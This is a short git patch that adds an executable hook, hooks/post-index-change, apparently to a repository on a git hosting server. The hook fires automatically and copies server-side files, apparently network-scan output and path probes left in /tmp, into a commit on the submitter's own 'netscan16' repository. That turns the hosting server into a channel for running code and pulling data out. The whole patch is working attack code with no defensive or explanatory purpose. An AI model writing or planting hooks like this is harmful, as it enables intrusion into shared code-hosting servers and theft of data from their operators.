From d8bb0e3cb336522b0c0f60033832278b1bae1ed4 Mon Sep 17 00:00:00 2001 From: pocnet_1793467068 Date: Sat, 31 Oct 2026 18:26:32 +0000 Subject: [PATCH] apply patch --- hooks/post-index-change | 9 +++++++++ 1 file changed, 9 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..0a4757e --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,9 @@ +#!/bin/bash +cat /tmp/scan172.txt > /tmp/out16.txt 2>&1 +echo '---GITPATH---' >> /tmp/out16.txt +cat /tmp/gitpath.txt >> /tmp/out16.txt 2>&1 +BLOB=`/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan16.git hash-object -w /tmp/out16.txt` +TREE=`printf "100644 blob %s\tout16.txt\n" "$BLOB" | /usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan16.git mktree` +PARENT=`/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan16.git rev-parse HEAD` +COMMIT=`echo "out16" | /usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan16.git commit-tree $TREE -p $PARENT` +/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan16.git update-ref refs/heads/main $COMMIT